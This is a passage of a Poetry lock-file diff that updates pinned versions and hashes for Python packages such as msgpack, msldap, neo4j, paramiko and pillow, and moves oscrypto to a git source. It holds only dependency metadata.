"sha256:2a4b34a8d14649315c4bc26bbfa352663eb51d146e35eef231dd739d54a5430a"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-win32.whl", hash = "sha256:242d6860f1fd9191aef5fae22b51c5c19767f93fb9ead4d21924e0bcb17619d8"}, + {file = "MarkupSafe-3.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:93e8248d650e7e9d49e8251f883eed60ecbc0e8ffd6349e18550925e31bd029b"}, + {file = "markupsafe-3.0.1.tar.gz", hash = "sha256:3e683ee4f5d0fa2dde4db77ed8dd8a876686e3fc417655c2ece9a90576905344"}, ] [[package]] @@ -1223,13 +1309,13 @@ files = [ [[package]] name = "minidump" -version = "0.0.23" +version = "0.0.24" description = "Python library to parse Windows minidump file format" optional = false python-versions = ">=3.6" files = [ - {file = "minidump-0.0.23-py3-none-any.whl", hash = "sha256:b64ba764ea6db03f90dcd91fa516794ee729f3555ec8735700bdbfb58e0f1181"}, - {file = "minidump-0.0.23.tar.gz", hash = "sha256:47eb736b90bfd9e8246a349c9a2969ffcaa8c284a495855f101f9fd0a30d06a4"}, + {file = "minidump-0.0.24-py3-none-any.whl", hash = "sha256:9c016e35c8fe37c82a01b0a266f5416a0b0138934d92affb436ac2e72372bec6"}, + {file = "minidump-0.0.24.tar.gz", hash = "sha256:f7ae09b944f3b17ccf5cecc66f9ff5a7a45b053474a13aeb012f4c9204470437"}, ] [[package]] @@ -1253,78 +1339,86 @@ unicrypto = ">=0.0.10" [[package]] name = "msgpack" -version = "1.0.8" +version = "1.1.0" description = "MessagePack serializer" optional = false python-versions = ">=3.8" files = [ - {file = "msgpack-1.0.8-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:505fe3d03856ac7d215dbe005414bc28505d26f0c128906037e66d98c4e95868"}, - {file = "msgpack-1.0.8-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:e6b7842518a63a9f17107eb176320960ec095a8ee3b4420b5f688e24bf50c53c"}, - {file = "msgpack-1.0.8-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:376081f471a2ef24828b83a641a02c575d6103a3ad7fd7dade5486cad10ea659"}, - {file = "msgpack-1.0.8-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5e390971d082dba073c05dbd56322427d3280b7cc8b53484c9377adfbae67dc2"}, - {file = "msgpack-1.0.8-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:00e073efcba9ea99db5acef3959efa45b52bc67b61b00823d2a1a6944bf45982"}, - {file = "msgpack-1.0.8-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82d92c773fbc6942a7a8b520d22c11cfc8fd83bba86116bfcf962c2f5c2ecdaa"}, - {file = "msgpack-1.0.8-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:9ee32dcb8e531adae1f1ca568822e9b3a738369b3b686d1477cbc643c4a9c128"}, - {file = "msgpack-1.0.8-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:e3aa7e51d738e0ec0afbed661261513b38b3014754c9459508399baf14ae0c9d"}, - {file = "msgpack-1.0.8-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:69284049d07fce531c17404fcba2bb1df472bc2dcdac642ae71a2d079d950653"}, - {file = "msgpack-1.0.8-cp310-cp310-win32.whl", hash = "sha256:13577ec9e247f8741c84d06b9ece5f654920d8365a4b636ce0e44f15e07ec693"}, - {file = "msgpack-1.0.8-cp310-cp310-win_amd64.whl", hash = "sha256:e532dbd6ddfe13946de050d7474e3f5fb6ec774fbb1a188aaf469b08cf04189a"}, - {file = "msgpack-1.0.8-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9517004e21664f2b5a5fd6333b0731b9cf0817403a941b393d89a2f1dc2bd836"}, - {file = "msgpack-1.0.8-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:d16a786905034e7e34098634b184a7d81f91d4c3d246edc6bd7aefb2fd8ea6ad"}, - {file = "msgpack-1.0.8-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e2872993e209f7ed04d963e4b4fbae72d034844ec66bc4ca403329db2074377b"}, - {file = "msgpack-1.0.8-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5c330eace3dd100bdb54b5653b966de7f51c26ec4a7d4e87132d9b4f738220ba"}, - {file = "msgpack-1.0.8-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:83b5c044f3eff2a6534768ccfd50425939e7a8b5cf9a7261c385de1e20dcfc85"}, - {file = "msgpack-1.0.8-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1876b0b653a808fcd50123b953af170c535027bf1d053b59790eebb0aeb38950"}, - {file = "msgpack-1.0.8-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:dfe1f0f0ed5785c187144c46a292b8c34c1295c01da12e10ccddfc16def4448a"}, - {file = "msgpack-1.0.8-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:3528807cbbb7f315bb81959d5961855e7ba52aa60a3097151cb21956fbc7502b"}, - {file = "msgpack-1.0.8-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:e2f879ab92ce502a1e65fce390eab619774dda6a6ff719718069ac94084098ce"}, - {file = "msgpack-1.0.8-cp311-cp311-win32.whl", hash = "sha256:26ee97a8261e6e35885c2ecd2fd4a6d38252246f94a2aec23665a4e66d066305"}, - {file = "msgpack-1.0.8-cp311-cp311-win_amd64.whl", hash = "sha256:eadb9f826c138e6cf3c49d6f8de88225a3c0ab181a9b4ba792e006e5292d150e"}, - {file = "msgpack-1.0.8-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:114be227f5213ef8b215c22dde19532f5da9652e56e8ce969bf0a26d7c419fee"}, - {file = "msgpack-1.0.8-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:d661dc4785affa9d0edfdd1e59ec056a58b3dbb9f196fa43587f3ddac654ac7b"}, - {file = "msgpack-1.0.8-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:d56fd9f1f1cdc8227d7b7918f55091349741904d9520c65f0139a9755952c9e8"}, - {file = "msgpack-1.0.8-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0726c282d188e204281ebd8de31724b7d749adebc086873a59efb8cf7ae27df3"}, - {file = "msgpack-1.0.8-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8db8e423192303ed77cff4dce3a4b88dbfaf43979d280181558af5e2c3c71afc"}, - {file = "msgpack-1.0.8-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:99881222f4a8c2f641f25703963a5cefb076adffd959e0558dc9f803a52d6a58"}, - {file = "msgpack-1.0.8-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:b5505774ea2a73a86ea176e8a9a4a7c8bf5d521050f0f6f8426afe798689243f"}, - {file = "msgpack-1.0.8-cp312-cp312-musllinux_1_1_i686.whl", hash = "sha256:ef254a06bcea461e65ff0373d8a0dd1ed3aa004af48839f002a0c994a6f72d04"}, - {file = "msgpack-1.0.8-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e1dd7839443592d00e96db831eddb4111a2a81a46b028f0facd60a09ebbdd543"}, - {file = "msgpack-1.0.8-cp312-cp312-win32.whl", hash = "sha256:64d0fcd436c5683fdd7c907eeae5e2cbb5eb872fafbc03a43609d7941840995c"}, - {file = "msgpack-1.0.8-cp312-cp312-win_amd64.whl", hash = "sha256:74398a4cf19de42e1498368c36eed45d9528f5fd0155241e82c4082b7e16cffd"}, - {file = "msgpack-1.0.8-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:0ceea77719d45c839fd73abcb190b8390412a890df2f83fb8cf49b2a4b5c2f40"}, - {file = "msgpack-1.0.8-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1ab0bbcd4d1f7b6991ee7c753655b481c50084294218de69365f8f1970d4c151"}, - {file = "msgpack-1.0.8-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:1cce488457370ffd1f953846f82323cb6b2ad2190987cd4d70b2713e17268d24"}, - {file = "msgpack-1.0.8-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3923a1778f7e5ef31865893fdca12a8d7dc03a44b33e2a5f3295416314c09f5d"}, - {file = "msgpack-1.0.8-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a22e47578b30a3e199ab067a4d43d790249b3c0587d9a771921f86250c8435db"}, - {file = "msgpack-1.0.8-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:bd739c9251d01e0279ce729e37b39d49a08c0420d3fee7f2a4968c0576678f77"}, - {file = "msgpack-1.0.8-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:d3420522057ebab1728b21ad473aa950026d07cb09da41103f8e597dfbfaeb13"}, - {file = "msgpack-1.0.8-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:5845fdf5e5d5b78a49b826fcdc0eb2e2aa7191980e3d2cfd2a30303a74f212e2"}, - {file = "msgpack-1.0.8-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:6a0e76621f6e1f908ae52860bdcb58e1ca85231a9b0545e64509c931dd34275a"}, - {file = "msgpack-1.0.8-cp38-cp38-win32.whl", hash = "sha256:374a8e88ddab84b9ada695d255679fb99c53513c0a51778796fcf0944d6c789c"}, - {file = "msgpack-1.0.8-cp38-cp38-win_amd64.whl", hash = "sha256:f3709997b228685fe53e8c433e2df9f0cdb5f4542bd5114ed17ac3c0129b0480"}, - {file = "msgpack-1.0.8-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:f51bab98d52739c50c56658cc303f190785f9a2cd97b823357e7aeae54c8f68a"}, - {file = "msgpack-1.0.8-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:73ee792784d48aa338bba28063e19a27e8d989344f34aad14ea6e1b9bd83f596"}, - {file = "msgpack-1.0.8-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f9904e24646570539a8950400602d66d2b2c492b9010ea7e965025cb71d0c86d"}, - {file = "msgpack-1.0.8-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:e75753aeda0ddc4c28dce4c32ba2f6ec30b1b02f6c0b14e547841ba5b24f753f"}, - {file = "msgpack-1.0.8-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5dbf059fb4b7c240c873c1245ee112505be27497e90f7c6591261c7d3c3a8228"}, - {file = "msgpack-1.0.8-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4916727e31c28be8beaf11cf117d6f6f188dcc36daae4e851fee88646f5b6b18"}, - {file = "msgpack-1.0.8-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:7938111ed1358f536daf311be244f34df7bf3cdedb3ed883787aca97778b28d8"}, - {file = "msgpack-1.0.8-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:493c5c5e44b06d6c9268ce21b302c9ca055c1fd3484c25ba41d34476c76ee746"}, - {file = "msgpack-1.0.8-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:5fbb160554e319f7b22ecf530a80a3ff496d38e8e07ae763b9e82fadfe96f273"}, - {file = "msgpack-1.0.8-cp39-cp39-win32.whl", hash = "sha256:f9af38a89b6a5c04b7d18c492c8ccf2aee7048aff1ce8437c4683bb5a1df893d"}, - {file = "msgpack-1.0.8-cp39-cp39-win_amd64.whl", hash = "sha256:ed59dd52075f8fc91da6053b12e8c89e37aa043f8986efd89e61fae69dc1b011"}, - {file = "msgpack-1.0.8.tar.gz", hash = "sha256:95c02b0e27e706e48d0e5426d1710ca78e0f0628d6e89d5b5a5b91a5f12274f3"}, + {file = "msgpack-1.1.0-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7ad442d527a7e358a469faf43fda45aaf4ac3249c8310a82f0ccff9164e5dccd"}, + {file = "msgpack-1.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:74bed8f63f8f14d75eec75cf3d04ad581da6b914001b474a5d3cd3372c8cc27d"}, + {file = "msgpack-1.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:914571a2a5b4e7606997e169f64ce53a8b1e06f2cf2c3a7273aa106236d43dd5"}, + {file = "msgpack-1.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c921af52214dcbb75e6bdf6a661b23c3e6417f00c603dd2070bccb5c3ef499f5"}, + {file = "msgpack-1.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d8ce0b22b890be5d252de90d0e0d119f363012027cf256185fc3d474c44b1b9e"}, + {file = "msgpack-1.1.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:73322a6cc57fcee3c0c57c4463d828e9428275fb85a27aa2aa1a92fdc42afd7b"}, + {file = "msgpack-1.1.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:e1f3c3d21f7cf67bcf2da8e494d30a75e4cf60041d98b3f79875afb5b96f3a3f"}, + {file = "msgpack-1.1.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:64fc9068d701233effd61b19efb1485587560b66fe57b3e50d29c5d78e7fef68"}, + {file = "msgpack-1.1.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:42f754515e0f683f9c79210a5d1cad631ec3d06cea5172214d2176a42e67e19b"}, + {file = "msgpack-1.1.0-cp310-cp310-win32.whl", hash = "sha256:3df7e6b05571b3814361e8464f9304c42d2196808e0119f55d0d3e62cd5ea044"}, + {file = "msgpack-1.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:685ec345eefc757a7c8af44a3032734a739f8c45d1b0ac45efc5d8977aa4720f"}, + {file = "msgpack-1.1.0-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:3d364a55082fb2a7416f6c63ae383fbd903adb5a6cf78c5b96cc6316dc1cedc7"}, + {file = "msgpack-1.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:79ec007767b9b56860e0372085f8504db5d06bd6a327a335449508bbee9648fa"}, + {file = "msgpack-1.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:6ad622bf7756d5a497d5b6836e7fc3752e2dd6f4c648e24b1803f6048596f701"}, + {file = "msgpack-1.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8e59bca908d9ca0de3dc8684f21ebf9a690fe47b6be93236eb40b99af28b6ea6"}, + {file = "msgpack-1.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5e1da8f11a3dd397f0a32c76165cf0c4eb95b31013a94f6ecc0b280c05c91b59"}, + {file = "msgpack-1.1.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:452aff037287acb1d70a804ffd022b21fa2bb7c46bee884dbc864cc9024128a0"}, + {file = "msgpack-1.1.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:8da4bf6d54ceed70e8861f833f83ce0814a2b72102e890cbdfe4b34764cdd66e"}, + {file = "msgpack-1.1.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:41c991beebf175faf352fb940bf2af9ad1fb77fd25f38d9142053914947cdbf6"}, + {file = "msgpack-1.1.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:a52a1f3a5af7ba1c9ace055b659189f6c669cf3657095b50f9602af3a3ba0fe5"}, + {file = "msgpack-1.1.0-cp311-cp311-win32.whl", hash = "sha256:58638690ebd0a06427c5fe1a227bb6b8b9fdc2bd07701bec13c2335c82131a88"}, + {file = "msgpack-1.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:fd2906780f25c8ed5d7b323379f6138524ba793428db5d0e9d226d3fa6aa1788"}, + {file = "msgpack-1.1.0-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:d46cf9e3705ea9485687aa4001a76e44748b609d260af21c4ceea7f2212a501d"}, + {file = "msgpack-1.1.0-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:5dbad74103df937e1325cc4bfeaf57713be0b4f15e1c2da43ccdd836393e2ea2"}, + {file = "msgpack-1.1.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:58dfc47f8b102da61e8949708b3eafc3504509a5728f8b4ddef84bd9e16ad420"}, + {file = "msgpack-1.1.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:4676e5be1b472909b2ee6356ff425ebedf5142427842aa06b4dfd5117d1ca8a2"}, + {file = "msgpack-1.1.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:17fb65dd0bec285907f68b15734a993ad3fc94332b5bb21b0435846228de1f39"}, + {file = "msgpack-1.1.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a51abd48c6d8ac89e0cfd4fe177c61481aca2d5e7ba42044fd218cfd8ea9899f"}, + {file = "msgpack-1.1.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2137773500afa5494a61b1208619e3871f75f27b03bcfca7b3a7023284140247"}, + {file = "msgpack-1.1.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:398b713459fea610861c8a7b62a6fec1882759f308ae0795b5413ff6a160cf3c"}, + {file = "msgpack-1.1.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:06f5fd2f6bb2a7914922d935d3b8bb4a7fff3a9a91cfce6d06c13bc42bec975b"}, + {file = "msgpack-1.1.0-cp312-cp312-win32.whl", hash = "sha256:ad33e8400e4ec17ba782f7b9cf868977d867ed784a1f5f2ab46e7ba53b6e1e1b"}, + {file = "msgpack-1.1.0-cp312-cp312-win_amd64.whl", hash = "sha256:115a7af8ee9e8cddc10f87636767857e7e3717b7a2e97379dc2054712693e90f"}, + {file = "msgpack-1.1.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:071603e2f0771c45ad9bc65719291c568d4edf120b44eb36324dcb02a13bfddf"}, + {file = "msgpack-1.1.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0f92a83b84e7c0749e3f12821949d79485971f087604178026085f60ce109330"}, + {file = "msgpack-1.1.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:4a1964df7b81285d00a84da4e70cb1383f2e665e0f1f2a7027e683956d04b734"}, + {file = "msgpack-1.1.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59caf6a4ed0d164055ccff8fe31eddc0ebc07cf7326a2aaa0dbf7a4001cd823e"}, + {file = "msgpack-1.1.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:0907e1a7119b337971a689153665764adc34e89175f9a34793307d9def08e6ca"}, + {file = "msgpack-1.1.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:65553c9b6da8166e819a6aa90ad15288599b340f91d18f60b2061f402b9a4915"}, + {file = "msgpack-1.1.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:7a946a8992941fea80ed4beae6bff74ffd7ee129a90b4dd5cf9c476a30e9708d"}, + {file = "msgpack-1.1.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4b51405e36e075193bc051315dbf29168d6141ae2500ba8cd80a522964e31434"}, + {file = "msgpack-1.1.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:b4c01941fd2ff87c2a934ee6055bda4ed353a7846b8d4f341c428109e9fcde8c"}, + {file = "msgpack-1.1.0-cp313-cp313-win32.whl", hash = "sha256:7c9a35ce2c2573bada929e0b7b3576de647b0defbd25f5139dcdaba0ae35a4cc"}, + {file = "msgpack-1.1.0-cp313-cp313-win_amd64.whl", hash = "sha256:bce7d9e614a04d0883af0b3d4d501171fbfca038f12c77fa838d9f198147a23f"}, + {file = "msgpack-1.1.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c40ffa9a15d74e05ba1fe2681ea33b9caffd886675412612d93ab17b58ea2fec"}, + {file = "msgpack-1.1.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f1ba6136e650898082d9d5a5217d5906d1e138024f836ff48691784bbe1adf96"}, + {file = "msgpack-1.1.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e0856a2b7e8dcb874be44fea031d22e5b3a19121be92a1e098f46068a11b0870"}, + {file = "msgpack-1.1.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:471e27a5787a2e3f974ba023f9e265a8c7cfd373632247deb225617e3100a3c7"}, + {file = "msgpack-1.1.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:646afc8102935a388ffc3914b336d22d1c2d6209c773f3eb5dd4d6d3b6f8c1cb"}, + {file = "msgpack-1.1.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:13599f8829cfbe0158f6456374e9eea9f44eee08076291771d8ae93eda56607f"}, + {file = "msgpack-1.1.0-cp38-cp38-win32.whl", hash = "sha256:8a84efb768fb968381e525eeeb3d92857e4985aacc39f3c47ffd00eb4509315b"}, + {file = "msgpack-1.1.0-cp38-cp38-win_amd64.whl", hash = "sha256:879a7b7b0ad82481c52d3c7eb99bf6f0645dbdec5134a4bddbd16f3506947feb"}, + {file = "msgpack-1.1.0-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:53258eeb7a80fc46f62fd59c876957a2d0e15e6449a9e71842b6d24419d88ca1"}, + {file = "msgpack-1.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:7e7b853bbc44fb03fbdba34feb4bd414322180135e2cb5164f20ce1c9795ee48"}, + {file = "msgpack-1.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3e9b4936df53b970513eac1758f3882c88658a220b58dcc1e39606dccaaf01c"}, + {file = "msgpack-1.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:46c34e99110762a76e3911fc923222472c9d681f1094096ac4102c18319e6468"}, + {file = "msgpack-1.1.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8a706d1e74dd3dea05cb54580d9bd8b2880e9264856ce5068027eed09680aa74"}, + {file = "msgpack-1.1.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:534480ee5690ab3cbed89d4c8971a5c631b69a8c0883ecfea96c19118510c846"}, + {file = "msgpack-1.1.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:8cf9e8c3a2153934a23ac160cc4cba0ec035f6867c8013cc6077a79823370346"}, + {file = "msgpack-1.1.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:3180065ec2abbe13a4ad37688b61b99d7f9e012a535b930e0e683ad6bc30155b"}, + {file = "msgpack-1.1.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:c5a91481a3cc573ac8c0d9aace09345d989dc4a0202b7fcb312c88c26d4e71a8"}, + {file = "msgpack-1.1.0-cp39-cp39-win32.whl", hash = "sha256:f80bc7d47f76089633763f952e67f8214cb7b3ee6bfa489b3cb6a84cfac114cd"}, + {file = "msgpack-1.1.0-cp39-cp39-win_amd64.whl", hash = "sha256:4d1b7ff2d6146e16e8bd665ac726a89c74163ef8cd39fa8c1087d4e52d3a2325"}, + {file = "msgpack-1.1.0.tar.gz", hash = "sha256:dd432ccc2c72b914e4cb77afce64aab761c1137cc698be3984eee260bcb2896e"}, ] [[package]] name = "msldap" -version = "0.5.10" +version = "0.5.12" description = "Python library to play with MS LDAP" optional = false python-versions = ">=3.7" files = [ - {file = "msldap-0.5.10-py3-none-any.whl", hash = "sha256:263a4bfa832f3b9f27163e5a752151608283745dba22ad8d7c560ae18e0e193b"}, - {file = "msldap-0.5.10.tar.gz", hash = "sha256:65bfe0e502c94d26f45d366f567cdb62462f27f655bd0ae2f0228fe3c9f989b8"}, + {file = "msldap-0.5.12-py3-none-any.whl", hash = "sha256:8569324aa1fe3ce5312f58dd27f2dc4357b0dfd9cd450f2efd27e6b54ace3bd0"}, + {file = "msldap-0.5.12.tar.gz", hash = "sha256:44a2a3d2850f925e50b6b82d4515c74ceea548b7c1fc4d3d0d3f6df65a0cc540"}, ] [package.dependencies] @@ -1340,13 +1434,13 @@ winacl = ">=0.1.8" [[package]] name = "neo4j" -version = "5.22.0" +version = "5.25.0" description = "Neo4j Bolt driver for Python" optional = false python-versions = ">=3.7" files = [ - {file = "neo4j-5.22.0-py3-none-any.whl", hash = "sha256:8146755ac93d33cee594975172c15cffb68ab158e3358bb7a73b5e0b83367006"}, - {file = "neo4j-5.22.0.tar.gz", hash = "sha256:199677239ce11fcecabce9962af515df271c1313ba110e737dd7d668fccd0c04"}, + {file = "neo4j-5.25.0-py3-none-any.whl", hash = "sha256:df310eee9a4f9749fb32bb9f1aa68711ac417b7eba3e42faefd6848038345ffa"}, + {file = "neo4j-5.25.0.tar.gz", hash = "sha256:7c82001c45319092cc0b5df4c92894553b7ab97bd4f59655156fa9acab83aec9"}, ] [package.dependencies] @@ -1377,14 +1471,18 @@ version = "1.3.0" description = "TLS (SSL) sockets, key generation, encryption, decryption, signing, verification and KDFs using the OS crypto libraries. Does not require a compiler, and relies on the OS for patching. Works on Windows, OS X and Linux/BSD." optional = false python-versions = "*" -files = [ - {file = "oscrypto-1.3.0-py2.py3-none-any.whl", hash = "sha256:2b2f1d2d42ec152ca90ccb5682f3e051fb55986e1b170ebde472b133713e7085"}, - {file = "oscrypto-1.3.0.tar.gz", hash = "sha256:6f5fef59cb5b3708321db7cca56aed8ad7e662853351e7991fcf60ec606d47a4"}, -] +files = [] +develop = false [package.dependencies] asn1crypto = ">=1.5.1" +[package.source] +type = "git" +url = "https://github.com/wbond/oscrypto" +reference = "HEAD" +resolved_reference = "1547f535001ba568b239b8797465536759c742a3" + [[package]] name = "packaging" version = "24.1" @@ -1398,13 +1496,13 @@ files = [ [[package]] name = "paramiko" -version = "3.4.0" +version = "3.5.0" description = "SSH2 protocol library" optional = false python-versions = ">=3.6" files = [ - {file = "paramiko-3.4.0-py3-none-any.whl", hash = "sha256:43f0b51115a896f9c00f59618023484cb3a14b98bbceab43394a39c6739b7ee7"}, - {file = "paramiko-3.4.0.tar.gz", hash = "sha256:aac08f26a31dc4dffd92821527d1682d99d52f9ef6851968114a8728f3c274d3"}, + {file = "paramiko-3.5.0-py3-none-any.whl", hash = "sha256:1fedf06b085359051cd7d0d270cebe19e755a8a921cc2ddbfa647fb0cd7d68f9"}, + {file = "paramiko-3.5.0.tar.gz", hash = "sha256:ad11e540da4f55cedda52931f1a3f812a8238a7af7f62a60de538cd80bb28124"}, ] [package.dependencies] @@ -1419,95 +1517,90 @@ invoke = ["invoke (>=2.0)"] [[package]] name = "pillow" -version = "10.4.0" +version = "11.0.0" description = "Python Imaging Library (Fork)" optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" files = [ - {file = "pillow-10.4.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:4d9667937cfa347525b319ae34375c37b9ee6b525440f3ef48542fcf66f2731e"}, - {file = "pillow-10.4.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:543f3dc61c18dafb755773efc89aae60d06b6596a63914107f75459cf984164d"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7928ecbf1ece13956b95d9cbcfc77137652b02763ba384d9ab508099a2eca856"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e4d49b85c4348ea0b31ea63bc75a9f3857869174e2bf17e7aba02945cd218e6f"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:6c762a5b0997f5659a5ef2266abc1d8851ad7749ad9a6a5506eb23d314e4f46b"}, - {file = "pillow-10.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:a985e028fc183bf12a77a8bbf36318db4238a3ded7fa9df1b9a133f1cb79f8fc"}, - {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:812f7342b0eee081eaec84d91423d1b4650bb9828eb53d8511bcef8ce5aecf1e"}, - {file = "pillow-10.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:ac1452d2fbe4978c2eec89fb5a23b8387aba707ac72810d9490118817d9c0b46"}, - {file = "pillow-10.4.0-cp310-cp310-win32.whl", hash = "sha256:bcd5e41a859bf2e84fdc42f4edb7d9aba0a13d29a2abadccafad99de3feff984"}, - {file = "pillow-10.4.0-cp310-cp310-win_amd64.whl", hash = 